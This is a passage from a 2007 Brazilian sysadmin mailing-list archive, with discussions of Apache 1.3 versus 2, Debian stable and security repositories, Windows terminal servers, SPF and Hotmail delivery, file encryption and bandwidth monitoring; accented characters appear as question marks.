mas enquanto essa velharia ali segurar as pontas, t? bom, afinal tenho um 
Athlon 650MHz em cima com configura??o do OS igual com backup semanal(eu 
ligo e fa?o as c?pias), ou seja, se esse pifar ? s? por os cabos no de cima 
e pronto. Ent?o tenho PC pra bastante tempo ainda, hehe.

Abra?o!

Grato,
Rafael Possamai




----- Original Message ----- 
From: "Fernando Ulisses dos Santos" <fernando at bluesolutions.com.br>
To: "Mail Aid and Succor, On-line Comfort and Help" 
<masoch-l at eng.registro.br>
Sent: Thursday, April 05, 2007 12:08 PM
Subject: Re: [MASOCH-L] RES: apache 1 ou 2?


Rafael, vai na f? !!

Tenho Apache 2.x rodando em provedores a 1 ano e meio +/-, nenhum 
problema...

Claro, n?o ? nada grande, mas tinha cerca de 1000 dom?nios em 1 dos
provedores...

Novos recursos j? me ajudaram muito, como compress?o de p?ginas, o
ProxyPass e ProxyPassReverse para fazer alguns redirecionamentos para
servidores internos, tudo com suporte na distribui??o ou nativo, isso
ajuda.

Como o software ? livre, instale a vers?o com mais recursos, ? melhor ter
e n?o usar do que precisar e n?o ter.

Quanto ao hardware... est? t?o barato hoje que para seu pr?prio bem voc?
deveria aposentar essa m?quina... ela tem quantos anos? 3? 4? qual a
probabilidade de falha de hardware nessa m?quina? as vezes a gente fica
querendo poupar dinheiro do chefe, e quando d? um pau vc percebe que a
grana que economizou na m?quina gastou em horas de trabalho... um desktop
HP, IBM, Dell sai por R$ 900 e ainda parcelam.

--
Fernando Ulisses dos Santos
Blue Solutions - Solu??es em TI
19-3551-3898 / 11-4062-9218
fernando at bluesolutions.com.br
Certificado Linux LPIC-1

Gustavo Ara?jo escreveu:
> pelo que eu sabia, a apache n?o lan?ar? futuras vers?es para a s?rie 1.3
> do
> apache, somente corre??es de seguran?a.
>
> d? pra manter na 1.3.37, muita gente ainda esta usando a 1.3.37 com receio
> de mudar pra s?rie 2.
>
> Eu uso o apache 2.2.3 no meu pc em ksa, e eh muito bom, mas n?o tive como
> testar em um ambiente de produ??o ainda.
>
> com rela??o a configura??o, pouca coisa mesmo mudou, o melhor ? o suporte
> nativo ao SSL (que antes era feito com o mod_ssl ) e as MPM's . Estou
> ainda
> aprendendo mais sobre apache, mas pelo que j? descobri deste novo apache
> vale a pena migrar para ele.
>
> Em 04/04/07, Rafael Possamai <rafaelpossa at gmail.com> escreveu:
>>
>> Opa, neste caso eu iria rodar o apache num K6-2 400MHz com 128MB RAM e
>> HD
>> 6GB IDE com Debian 3.1 em Kernel 2.4. Algo me diz que o 1.3 seria mais
>> indicado, mas ? pura suposi??o.
>> Eu uso ele como router aqui da minha rede (nat e firewall).
>>
>>
>> Rafael
>>
>>
>> ----- Original Message -----
>> From: "Pousada Virtual - Atendimento"
>> <atendimento at pousadavirtual.com.br>
>> To: "'Mail Aid and Succor,On-line Comfort and Help'"
>> <masoch-l at eng.registro.br>
>> Sent: Wednesday, April 04, 2007 6:12 PM
>> Subject: [MASOCH-L] RES: apache 1 ou 2?
>>
>>
>> Ol? Rafael,
>>
>> Ainda n?o testei o 2, mas uso o 1.3.37 em um Dual Core 3.0 (2 x 2 MB
>> Cache)
>> 3 GB RAM DDR II 667 e HD SATA II; entre outros 550 pequenos sites, t?
>> rodando nele o www.xtibia.com que ? um phpnuke (sux hehe) e chega a 1500
>> conex?es simult?neas em hor?rio de pico, rodando junto forum e phpadsnew
>> (velho conhecido por exigir muito do servidor). E t? rodando legal.
>>
>> []s
>>
>> Andr?.
>>
>> -----Mensagem original-----
>> De: masoch-l-bounces at eng.registro.br
>> [mailto:masoch-l-bounces at eng.registro.br] Em nome de Rafael Possamai
>> Enviada em: quarta-feira, 4 de abril de 2007 17:46
>> Para: masoch-l at eng.registro.br
>> Assunto: [MASOCH-L] apache 1 ou 2?
>>
>> Ol? pessoal,
>>
>>     Dei uma olhada no hist?rico da lista e n?o achei nada parecido,
>> ent?o
>> vai l?:
>>
>>     Mesmo com o upgrade do Apache para a vers?o 2 eu continuei usando o
>> 1.3.x por um bom tempo e nunca tive problemas... Agora que essa vers?o 2
>> j?
>> andou um pouco, h? algum problema de seguran?a envolvido com o Apache
>> 1.3
>> que fa?a com que seja definitivamente melhor usar a vers?o 2 (que acho
>> mais
>> complicada na parte de configura??o)? E entre os dois, qual seria o mais
>> recomendado para poucas requisi??es/servidores com pouca pot?ncia?
>>
>>
>> Grato,
>> Rafael
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From rafaelpossa at gmail.com  Sat Apr  7 10:52:50 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Sat, 7 Apr 2007 10:52:50 -0300
Subject: [MASOCH-L] mirrors do apt
Message-ID: <002401c7791c$0ebe34a0$0200a8c0@OASIS>

Ol? pessoal,

    No debian eu uso bastante o apt, o problema ? que a maioria dos pacotes listados nele t?o com vers?es atrasadas, por exemplo:

PHP4 no apt = 4.3.10
PHP4 latest = 4.4.6
Apache1 no apt = 1.3.33
Apache1 latest = 1.3.37
Nmap no apt = 3.x
Nmap latest = 4.x

    A? nestes servi?os mais cr?ticos eu sou obrigado a fazer a instala??o manual, n?o que seja ruim, at? gosto, mas as vezes ? mais demorado e pode acontecer erros de depend?ncias, etc.
    Pelo que sei isso ? problema dos mirrors que tou usando:

debian.das.ufsc.br / linorg.usp.br / las.ic.unicamp.br / security.debian.org

    Algu?m conhece algum mirror bom que esteja sempre atualizado com as ?ltimas vers?es lan?adas ou pelo menos "quase" as ?ltimas?


Grato,
Rafael

From lyra at pop-pr.rnp.br  Sat Apr  7 13:51:18 2007
From: lyra at pop-pr.rnp.br (Christian Lyra)
Date: Sat, 7 Apr 2007 13:51:18 -0300
Subject: [MASOCH-L] mirrors do apt
In-Reply-To: <002401c7791c$0ebe34a0$0200a8c0@OASIS>
References: <002401c7791c$0ebe34a0$0200a8c0@OASIS>
Message-ID: <ff07fffe0704070951r5b92dbdj6b0370f40a2c7ac@mail.gmail.com>

OI,

Pelo visto vc n?o "pegou" muito bem como o Debian funciona. O Debian
possui sempre 3 "vers?es" a stable, a testing e a unstable. As vers?es
mais novas vc vai encontrar na testing e na unstable, s? que como o
pr?prio novo j? diz, s?o vers?es de teste.

O que vc chama de vers?es "atrasadas" na verdade s?o vers?es est?veis,
suportadas e testadas. Obviamente que quando h? um problema de
seguran?a ou um bug s?rio, essas vers?es s?o atualizadas (normalmente
a vers?o "atrasada" recebe um patch). Essa coisa de sempre querer usar
a ?ltima vers?o ? coisa t?pica de usu?rio windows (quanta gente s? usa
o b?sico do word, mas sempre que ter a ?ltima vers?o?).

A n?o ser que vc REALMENTE precise de uma feature s? dispon?vel na
?ltima vers?o, n?o h? raz?o alguma para querer usar a ?ltima vers?o de
alguma coisa.

Mas respondendo a pergunta original... vc pode passar a usar a vers?o
"unstable" ou se manter na stable e pegar alguns pacotes mais novos no
www.backports.org.


On 4/7/07, Rafael Possamai <rafaelpossa at gmail.com> wrote:
> Ol? pessoal,
>
>     No debian eu uso bastante o apt, o problema ? que a maioria dos pacotes listados nele t?o com vers?es atrasadas, por exemplo:
>
> PHP4 no apt = 4.3.10
> PHP4 latest = 4.4.6
> Apache1 no apt = 1.3.33
> Apache1 latest = 1.3.37
> Nmap no apt = 3.x
> Nmap latest = 4.x
>
>     A? nestes servi?os mais cr?ticos eu sou obrigado a fazer a instala??o manual, n?o que seja ruim, at? gosto, mas as vezes ? mais demorado e pode acontecer erros de depend?ncias, etc.
>     Pelo que sei isso ? problema dos mirrors que tou usando:
>
> debian.das.ufsc.br / linorg.usp.br / las.ic.unicamp.br / security.debian.org
>
>     Algu?m conhece algum mirror bom que esteja sempre atualizado com as ?ltimas vers?es lan?adas ou pelo menos "quase" as ?ltimas?
>
>
> Grato,
> Rafael
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 
Christian Lyra
PoP-PR/RNP


From rafaelpossa at gmail.com  Sat Apr  7 14:03:18 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Sat, 7 Apr 2007 14:03:18 -0300
Subject: [MASOCH-L] mirrors do apt
References: <002401c7791c$0ebe34a0$0200a8c0@OASIS>
	<ff07fffe0704070951r5b92dbdj6b0370f40a2c7ac@mail.gmail.com>
Message-ID: <000f01c77936$a55e15f0$0200a8c0@OASIS>

Ol?,
    No caso eu tou mais preocupado com as atualiza??es de seguran?a, por 
isso me referi ?s vers?es atualizadas... Ou?o falar de muita m?quina ownada 
por bug do php, bug do apache, ssl, etc... Os caras entram no backdoor, d?o 
um 'id' e ta l? o tal do apache.
   Teria como saber se realmente a vers?o stable presente na lsitagem de 
pacotes do apt ? a ?ltima que saiu com todos os patchs e tal?
    O neg?cio ali ? meio nas escuras. Pra ser mirror ? obrigat?rio a 
atualiza??o peri?dica dos pacotes?


Grato,
Rafael


----- Original Message ----- 
From: "Christian Lyra" <lyra at pop-pr.rnp.br>
To: "Mail Aid and Succor, On-line Comfort and Help" 
<masoch-l at eng.registro.br>
Sent: Saturday, April 07, 2007 1:51 PM
Subject: Re: [MASOCH-L] mirrors do apt


OI,

Pelo visto vc n?o "pegou" muito bem como o Debian funciona. O Debian
possui sempre 3 "vers?es" a stable, a testing e a unstable. As vers?es
mais novas vc vai encontrar na testing e na unstable, s? que como o
pr?prio novo j? diz, s?o vers?es de teste.

O que vc chama de vers?es "atrasadas" na verdade s?o vers?es est?veis,
suportadas e testadas. Obviamente que quando h? um problema de
seguran?a ou um bug s?rio, essas vers?es s?o atualizadas (normalmente
a vers?o "atrasada" recebe um patch). Essa coisa de sempre querer usar
a ?ltima vers?o ? coisa t?pica de usu?rio windows (quanta gente s? usa
o b?sico do word, mas sempre que ter a ?ltima vers?o?).

A n?o ser que vc REALMENTE precise de uma feature s? dispon?vel na
?ltima vers?o, n?o h? raz?o alguma para querer usar a ?ltima vers?o de
alguma coisa.

Mas respondendo a pergunta original... vc pode passar a usar a vers?o
"unstable" ou se manter na stable e pegar alguns pacotes mais novos no
www.backports.org.


On 4/7/07, Rafael Possamai <rafaelpossa at gmail.com> wrote:
> Ol? pessoal,
>
>     No debian eu uso bastante o apt, o problema ? que a maioria dos 
> pacotes listados nele t?o com vers?es atrasadas, por exemplo:
>
> PHP4 no apt = 4.3.10
> PHP4 latest = 4.4.6
> Apache1 no apt = 1.3.33
> Apache1 latest = 1.3.37
> Nmap no apt = 3.x
> Nmap latest = 4.x
>
>     A? nestes servi?os mais cr?ticos eu sou obrigado a fazer a instala??o 
> manual, n?o que seja ruim, at? gosto, mas as vezes ? mais demorado e pode 
> acontecer erros de depend?ncias, etc.
>     Pelo que sei isso ? problema dos mirrors que tou usando:
>
> debian.das.ufsc.br / linorg.usp.br / las.ic.unicamp.br / 
> security.debian.org
>
>     Algu?m conhece algum mirror bom que esteja sempre atualizado com as 
> ?ltimas vers?es lan?adas ou pelo menos "quase" as ?ltimas?
>
>
> Grato,
> Rafael
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 
Christian Lyra
PoP-PR/RNP
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From lyra at pop-pr.rnp.br  Mon Apr  9 10:15:14 2007
From: lyra at pop-pr.rnp.br (Christian Lyra)
Date: Mon, 9 Apr 2007 10:15:14 -0300
Subject: [MASOCH-L] mirrors do apt
In-Reply-To: <000f01c77936$a55e15f0$0200a8c0@OASIS>
References: <002401c7791c$0ebe34a0$0200a8c0@OASIS>
	<ff07fffe0704070951r5b92dbdj6b0370f40a2c7ac@mail.gmail.com>
	<000f01c77936$a55e15f0$0200a8c0@OASIS>
Message-ID: <200704091015.14699.lyra@pop-pr.rnp.br>

On Saturday 07 April 2007 14:03, Rafael Possamai wrote:
>  Ol?,
>      No caso eu tou mais preocupado com as atualiza??es de seguran?a,
> por isso me referi ?s vers?es atualizadas... Ou?o falar de muita
> m?quina ownada por bug do php, bug do apache, ssl, etc... Os caras
> entram no backdoor, d?o um 'id' e ta l? o tal do apache.
>     Teria como saber se realmente a vers?o stable presente na
> lsitagem de pacotes do apt ? a ?ltima que saiu com todos os patchs e
> tal? O neg?cio ali ? meio nas escuras. Pra ser mirror ? obrigat?rio a
> atualiza??o peri?dica dos pacotes?
>

O Debian tem um repositorio especial, o security, onde v?o todas as 
atualiza??es de seguran?a. Se vc tem uma linha como a abaixo, ent?o t? 
ok:

deb http://security.debian.org/ stable/updates main contrib non-free

Claro que vc tem que de vez em quando rodar um apt-get update, apt-get 
upgrade, ou ent?o configurar o apt-cron.

Agora quanto ao PHP, lembre-se que  apenas ter a ultima vers?o do PHP 
(ou pelo menos os ultimos patchs de seguran?a) N?O ? o suficiente. ? 
muito facil fazer uma aplica??o furada com PHP. A m?quina pode at? n?o 
ser totalmente comprometida, mas ter as permiss?es do apache j? ? o 
suficiente para executar um udp.pl ou ent?o mandar alguns spams.


-- 
Christian Lyra
POP-PR - RNP

http://lyra.soueu.com.br

  If the Tao is great, then the operating system is great. If the 
operating system is great, then the compiler is great. If the compiler 
is great, then the application is great. The user is pleased and there 
exists harmony in the world. 
  The Tao of Programming flows far away and returns on the wind of 
morning. 
						The Tao Of Programing


From rafaelpossa at gmail.com  Mon Apr  9 14:15:06 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Mon, 9 Apr 2007 14:15:06 -0300
Subject: [MASOCH-L] mirrors do apt
References: <002401c7791c$0ebe34a0$0200a8c0@OASIS><ff07fffe0704070951r5b92dbdj6b0370f40a2c7ac@mail.gmail.com><000f01c77936$a55e15f0$0200a8c0@OASIS>
	<200704091015.14699.lyra@pop-pr.rnp.br>
Message-ID: <000f01c77aca$a08bd6d0$0200a8c0@OASIS>

Compreendo. A linha do reposit?rio security eu tenho sim, e de vez em quando 
sempre dou um apt-get update/upgrade.
Eu n?o conhecia o backports.org, vou dar uma olhada.


Grato pela ajuda,
Rafael



----- Original Message ----- 

> On Saturday 07 April 2007 14:03, Rafael Possamai wrote:
>>  Ol?,
>>      No caso eu tou mais preocupado com as atualiza??es de seguran?a,
>> por isso me referi ?s vers?es atualizadas... Ou?o falar de muita
>> m?quina ownada por bug do php, bug do apache, ssl, etc... Os caras
>> entram no backdoor, d?o um 'id' e ta l? o tal do apache.
>>     Teria como saber se realmente a vers?o stable presente na
>> lsitagem de pacotes do apt ? a ?ltima que saiu com todos os patchs e
>> tal? O neg?cio ali ? meio nas escuras. Pra ser mirror ? obrigat?rio a
>> atualiza??o peri?dica dos pacotes?
>>
>
> O Debian tem um repositorio especial, o security, onde v?o todas as
> atualiza??es de seguran?a. Se vc tem uma linha como a abaixo, ent?o t?
> ok:
>
> deb http://security.debian.org/ stable/updates main contrib non-free
>
> Claro que vc tem que de vez em quando rodar um apt-get update, apt-get
> upgrade, ou ent?o configurar o apt-cron.
>
> Agora quanto ao PHP, lembre-se que  apenas ter a ultima vers?o do PHP
> (ou pelo menos os ultimos patchs de seguran?a) N?O ? o suficiente. ?
> muito facil fazer uma aplica??o furada com PHP. A m?quina pode at? n?o
> ser totalmente comprometida, mas ter as permiss?es do apache j? ? o
> suficiente para executar um udp.pl ou ent?o mandar alguns spams.
>
>
> -- 
> Christian Lyra
> POP-PR - RNP
>
> http://lyra.soueu.com.br
>
>  If the Tao is great, then the operating system is great. If the
> operating system is great, then the compiler is great. If the compiler
> is great, then the application is great. The user is pleased and there
> exists harmony in the world.
>  The Tao of Programming flows far away and returns on the wind of
> morning.
> The Tao Of Programing
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
> 



From edison at coslinux.com.br  Mon Apr  9 14:26:08 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Mon, 09 Apr 2007 10:26:08 -0700
Subject: [MASOCH-L] Terminal Server x Meta-Frame
Message-ID: <461A7730.2070601@coslinux.com.br>

Ol? Senhores,

Estou pesquisando qual ? a melhor solu??o de terminais para Windows.

Preciso especificar a configura??o para um servidor que venha a atender 
120 usu?rios conectados simultaneamente via Terminal Server ou Meta-Frame. 

Os usu?rios v?o utilizar basicamente Word e Excel. Os dados ser?o 
gravados em outro servidor.

Tem algum parceiro/representante da Microsoft ou Citrix aqui na lista?

Qual ? a melhor solu??o?

Qualquer ajuda ? bem vinda.

Obrigado.

Edison




From MBORBA at trf3.gov.br  Mon Apr  9 14:31:46 2007
From: MBORBA at trf3.gov.br (MARLON BORBA)
Date: Mon, 09 Apr 2007 14:31:46 -0300
Subject: [MASOCH-L] [GTER] Terminal Server x Meta-Frame
Message-ID: <s61a4e77.022@server-trf8.trf3.gov.br>

Acesso ?s aplica??es bin?rias ? cr?tico para voc?s? Ou seja, ? estritamente indispens?vel que o usu?rio tenha o seu "desktop"? Em caso negativo, por que n?o usar aplica??es "web-based"? J? existem produtos que incorporam editor de texto e planilha usando os recursos da Web 2.0 e AJAX e que s?o bem mais eficientes (al?m de funcionarem com "browsers" n?o requerendo clientes especiais nas esta??es).



Abra?os,

Marlon Borba, CISSP, APC DataCenter Associate
T?cnico Judici?rio - Seguran?a da Informa??o
TRF 3? Regi?o
(11) 3012-1683
--
Seguran?a ? um processo, n?o um produto.
(Bruce Schneier)
--

>>> edison at coslinux.com.br 9/4/2007 14:26:08 >>>
Ol? Senhores,

Estou pesquisando qual ? a melhor solu??o de terminais para Windows.

Preciso especificar a configura??o para um servidor que venha a atender 
120 usu?rios conectados simultaneamente via Terminal Server ou Meta-Frame. 

Os usu?rios v?o utilizar basicamente Word e Excel. Os dados ser?o 
gravados em outro servidor.

Tem algum parceiro/representante da Microsoft ou Citrix aqui na lista?

Qual ? a melhor solu??o?

Qualquer ajuda ? bem vinda.

Obrigado.

Edison


--
gter list    https://eng.registro.br/mailman/listinfo/gter



From aquino at ecosistemas.com.br  Mon Apr  9 14:46:12 2007
From: aquino at ecosistemas.com.br (Lucio de Aquino Marinho)
Date: Mon, 09 Apr 2007 14:46:12 -0300
Subject: [MASOCH-L] Terminal Server x Meta-Frame
In-Reply-To: <461A7730.2070601@coslinux.com.br>
References: <461A7730.2070601@coslinux.com.br>
Message-ID: <461A7BE4.4000502@ecosistemas.com.br>


Voce ja ouviu falar no Thinlinc , ? um software desenvolvido por uma 
empresa sueca e tem representa??o aqui no Brasil feita por um amigo meu 
, pode procurar o Eric Gunnarson  , tem grandes clientes

 http://www.thinlinc.com.br/

info at thinlinc.com.br <mailto:info at thinlinc.com.br>




Edison Bortolin escreveu:
> Ol? Senhores,
>
> Estou pesquisando qual ? a melhor solu??o de terminais para Windows.
>
> Preciso especificar a configura??o para um servidor que venha a atender 
> 120 usu?rios conectados simultaneamente via Terminal Server ou Meta-Frame. 
>
> Os usu?rios v?o utilizar basicamente Word e Excel. Os dados ser?o 
> gravados em outro servidor.
>
> Tem algum parceiro/representante da Microsoft ou Citrix aqui na lista?
>
> Qual ? a melhor solu??o?
>
> Qualquer ajuda ? bem vinda.
>
> Obrigado.
>
> Edison
>
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   



From lyra at pop-pr.rnp.br  Mon Apr  9 17:57:09 2007
From: lyra at pop-pr.rnp.br (Christian Lyra)
Date: Mon, 9 Apr 2007 17:57:09 -0300
Subject: [MASOCH-L] mirrors do apt
In-Reply-To: <000f01c77aca$a08bd6d0$0200a8c0@OASIS>
References: <002401c7791c$0ebe34a0$0200a8c0@OASIS>
	<200704091015.14699.lyra@pop-pr.rnp.br>
	<000f01c77aca$a08bd6d0$0200a8c0@OASIS>
Message-ID: <200704091757.10206.lyra@pop-pr.rnp.br>


S? para confundir um pouquinho, ontem a vers?o "testing" virou "stable", 
ou seja a nova vers?o est?vel ? o etch. Um apt-get dist-upgrade 
atualiza a sua distro. A principio n?o quebrou nada por aqui, mas um 
pouco de cautela sempre ? bom :-).


On Monday 09 April 2007 14:15, Rafael Possamai wrote:
>  Compreendo. A linha do reposit?rio security eu tenho sim, e de vez
> em quando sempre dou um apt-get update/upgrade.
>  Eu n?o conhecia o backports.org, vou dar uma olhada.
>
>
>  Grato pela ajuda,
>  Rafael
>
>
>
>  ----- Original Message -----
>
>  > On Saturday 07 April 2007 14:03, Rafael Possamai wrote:
>  >>  Ol?,
>  >>      No caso eu tou mais preocupado com as atualiza??es de
>  >> seguran?a, por isso me referi ?s vers?es atualizadas... Ou?o
>  >> falar de muita m?quina ownada por bug do php, bug do apache, ssl,
>  >> etc... Os caras entram no backdoor, d?o um 'id' e ta l? o tal do
>  >> apache. Teria como saber se realmente a vers?o stable presente na
>  >> lsitagem de pacotes do apt ? a ?ltima que saiu com todos os
>  >> patchs e tal? O neg?cio ali ? meio nas escuras. Pra ser mirror ?
>  >> obrigat?rio a atualiza??o peri?dica dos pacotes?
>  >
>  > O Debian tem um repositorio especial, o security, onde v?o todas
>  > as atualiza??es de seguran?a. Se vc tem uma linha como a abaixo,
>  > ent?o t? ok:
>  >
>  > deb http://security.debian.org/ stable/updates main contrib
>  > non-free
>  >
>  > Claro que vc tem que de vez em quando rodar um apt-get update,
>  > apt-get upgrade, ou ent?o configurar o apt-cron.
>  >
>  > Agora quanto ao PHP, lembre-se que  apenas ter a ultima vers?o do
>  > PHP (ou pelo menos os ultimos patchs de seguran?a) N?O ? o
>  > suficiente. ? muito facil fazer uma aplica??o furada com PHP. A
>  > m?quina pode at? n?o ser totalmente comprometida, mas ter as
>  > permiss?es do apache j? ? o suficiente para executar um udp.pl ou
>  > ent?o mandar alguns spams.
>  >
>  >
>  > --
>  > Christian Lyra
>  > POP-PR - RNP
>  >
>  > http://lyra.soueu.com.br
>  >
>  >  If the Tao is great, then the operating system is great. If the
>  > operating system is great, then the compiler is great. If the
>  > compiler is great, then the application is great. The user is
>  > pleased and there exists harmony in the world.
>  >  The Tao of Programming flows far away and returns on the wind of
>  > morning.
>  > The Tao Of Programing
>  > __
>  > masoch-l list
>  > https://eng.registro.br/mailman/listinfo/masoch-l
>
>  __
>  masoch-l list
>  https://eng.registro.br/mailman/listinfo/masoch-l

-- 
Christian Lyra
POP-PR - RNP

http://lyra.soueu.com.br

  Does a good farmer neglect a crop he has planted?
  Does a good teacher overlook even the most humble student?
  Does a good father allow a single child to starve?
  Does a good programmer refuse to maintain his code?
						The Tao Of Programing


From rafaelpossa at gmail.com  Mon Apr  9 19:43:08 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Mon, 9 Apr 2007 19:43:08 -0300
Subject: [MASOCH-L] mirrors do apt
References: <002401c7791c$0ebe34a0$0200a8c0@OASIS><200704091015.14699.lyra@pop-pr.rnp.br><000f01c77aca$a08bd6d0$0200a8c0@OASIS>
	<200704091757.10206.lyra@pop-pr.rnp.br>
Message-ID: <008601c77af8$7fc39270$0200a8c0@OASIS>

Hmm, vou ver se aqui ocorre tudo bem tamb?m.
Por mais quanto tempo o sarge vai ter "suporte"?


Rafael


----- Original Message ----- 
From: "Christian Lyra" <lyra at pop-pr.rnp.br>
To: "Mail Aid and Succor, On-line Comfort and Help" 
<masoch-l at eng.registro.br>
Sent: Monday, April 09, 2007 5:57 PM
Subject: Re: [MASOCH-L] mirrors do apt


>
> S? para confundir um pouquinho, ontem a vers?o "testing" virou "stable",
> ou seja a nova vers?o est?vel ? o etch. Um apt-get dist-upgrade
> atualiza a sua distro. A principio n?o quebrou nada por aqui, mas um
> pouco de cautela sempre ? bom :-).
>
>
> On Monday 09 April 2007 14:15, Rafael Possamai wrote:
>>  Compreendo. A linha do reposit?rio security eu tenho sim, e de vez
>> em quando sempre dou um apt-get update/upgrade.
>>  Eu n?o conhecia o backports.org, vou dar uma olhada.
>>
>>
>>  Grato pela ajuda,
>>  Rafael
>>
>>
>>
>>  ----- Original Message -----
>>
>>  > On Saturday 07 April 2007 14:03, Rafael Possamai wrote:
>>  >>  Ol?,
>>  >>      No caso eu tou mais preocupado com as atualiza??es de
>>  >> seguran?a, por isso me referi ?s vers?es atualizadas... Ou?o
>>  >> falar de muita m?quina ownada por bug do php, bug do apache, ssl,
>>  >> etc... Os caras entram no backdoor, d?o um 'id' e ta l? o tal do
>>  >> apache. Teria como saber se realmente a vers?o stable presente na
>>  >> lsitagem de pacotes do apt ? a ?ltima que saiu com todos os
>>  >> patchs e tal? O neg?cio ali ? meio nas escuras. Pra ser mirror ?
>>  >> obrigat?rio a atualiza??o peri?dica dos pacotes?
>>  >
>>  > O Debian tem um repositorio especial, o security, onde v?o todas
>>  > as atualiza??es de seguran?a. Se vc tem uma linha como a abaixo,
>>  > ent?o t? ok:
>>  >
>>  > deb http://security.debian.org/ stable/updates main contrib
>>  > non-free
>>  >
>>  > Claro que vc tem que de vez em quando rodar um apt-get update,
>>  > apt-get upgrade, ou ent?o configurar o apt-cron.
>>  >
>>  > Agora quanto ao PHP, lembre-se que  apenas ter a ultima vers?o do
>>  > PHP (ou pelo menos os ultimos patchs de seguran?a) N?O ? o
>>  > suficiente. ? muito facil fazer uma aplica??o furada com PHP. A
>>  > m?quina pode at? n?o ser totalmente comprometida, mas ter as
>>  > permiss?es do apache j? ? o suficiente para executar um udp.pl ou
>>  > ent?o mandar alguns spams.
>>  >
>>  >
>>  > --
>>  > Christian Lyra
>>  > POP-PR - RNP
>>  >
>>  > http://lyra.soueu.com.br
>>  >
>>  >  If the Tao is great, then the operating system is great. If the
>>  > operating system is great, then the compiler is great. If the
>>  > compiler is great, then the application is great. The user is
>>  > pleased and there exists harmony in the world.
>>  >  The Tao of Programming flows far away and returns on the wind of
>>  > morning.
>>  > The Tao Of Programing
>>  > __
>>  > masoch-l list
>>  > https://eng.registro.br/mailman/listinfo/masoch-l
>>
>>  __
>>  masoch-l list
>>  https://eng.registro.br/mailman/listinfo/masoch-l
>
> -- 
> Christian Lyra
> POP-PR - RNP
>
> http://lyra.soueu.com.br
>
>  Does a good farmer neglect a crop he has planted?
>  Does a good teacher overlook even the most humble student?
>  Does a good father allow a single child to starve?
>  Does a good programmer refuse to maintain his code?
> The Tao Of Programing
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
> 



From hermann at rodeios.com  Tue Apr 10 01:54:02 2007
From: hermann at rodeios.com (Hermann Wecke)
Date: Tue, 10 Apr 2007 01:54:02 -0300
Subject: [MASOCH-L] Aparentemente normal (Era: Postfix nao entrega para
	Hotmail)
Message-ID: <461B186A.9010508@rodeios.com>

Depois de seguir a dica do Pina [1], ler a mensagem do Frederick [2] e 
comparar a resposta que eu recebi com a recebida pelo Rafael [3], eu 
corrigi um ?nico "erro" no SPF (~all ao inv?s de -all) e enviei v?rias 
"amostras" dos emails para o email de contato, avisando o suporte do 
Hotmail.

Aparentemente voltou ao normal, com as mensagens sendo entregues aos 
destinat?rios. Espero que continue assim por algum tempo pelo menos!

[1] http://eng.registro.br/pipermail/masoch-l/2007-March/004192.html
[2] http://eng.registro.br/pipermail/masoch-l/2007-March/004199.html
[3] http://eng.registro.br/pipermail/masoch-l/2007-March/004221.html


From filipealvarez at gmail.com  Tue Apr 10 08:11:03 2007
From: filipealvarez at gmail.com (Filipe Alvarez)
Date: Tue, 10 Apr 2007 08:11:03 -0300
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
Message-ID: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>

Pessoal, utilizo o Windows 2000 como servidor aqui na empresa.

Por?m para dificultar o vazamento de dados da empresa, gostaria
de implantar algum sistema de "criptografia" nos arquivos, de
forma que se ele for acessado de alguma m?quina que n?o seja
as da rede interna, o conte?do dos arquivos nao fique exposto.

Alguem conhe?e alguma solu??o?

Grato,
Filipe.


From marden at infonet.com.br  Tue Apr 10 08:18:31 2007
From: marden at infonet.com.br (marden at infonet.com.br)
Date: Tue, 10 Apr 2007 08:18:31 -0300
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
In-Reply-To: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
Message-ID: <20070410081831.w6m97myggso8g4k0@wbeta.infonet.com.br>



   Filipe,

   ja viu o PGP (www.pgp.com)? se nao me engano eles tem um produto  
pra isso chamado PGP NetShare.

> Pessoal, utilizo o Windows 2000 como servidor aqui na empresa.
>
> Por?m para dificultar o vazamento de dados da empresa, gostaria
> de implantar algum sistema de "criptografia" nos arquivos, de
> forma que se ele for acessado de alguma m?quina que n?o seja
> as da rede interna, o conte?do dos arquivos nao fique exposto.
>
> Alguem conhe?e alguma solu??o?
>
> Grato,
> Filipe.
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>

----- Final da mensagem de filipealvarez at gmail.com -----




From polgo at bol.com.br  Tue Apr 10 08:28:19 2007
From: polgo at bol.com.br (Paulo Leandro Rosa)
Date: Tue, 10 Apr 2007 08:28:19 -0300
Subject: [MASOCH-L] moitoramento de link
In-Reply-To: <461A7730.2070601@coslinux.com.br>
References: <461A7730.2070601@coslinux.com.br>
Message-ID: <461B74D3.9060101@bol.com.br>

Bom dia a todos da lista

Pessoal gostaria de ajuda de voceis trabalho em um provedor de internet
e temos a seguinte situa??o:

temos algumas maquinas "coloquetion" em nosso datacenter e queremos
medir a quantidade de banda que cada maquina dessa usa, j? testamos o
mrtg funciona mais ele n?o da a quantidade final de Mega utilizado no
per?odo de 30 dias queria sabe se algu?m sabe de alguma ferramenta que
fa?a essa trabalho de  medi??o

grato pela aten??o de todos


From jczucco at ucs.br  Tue Apr 10 09:09:41 2007
From: jczucco at ucs.br (Jeronimo Zucco)
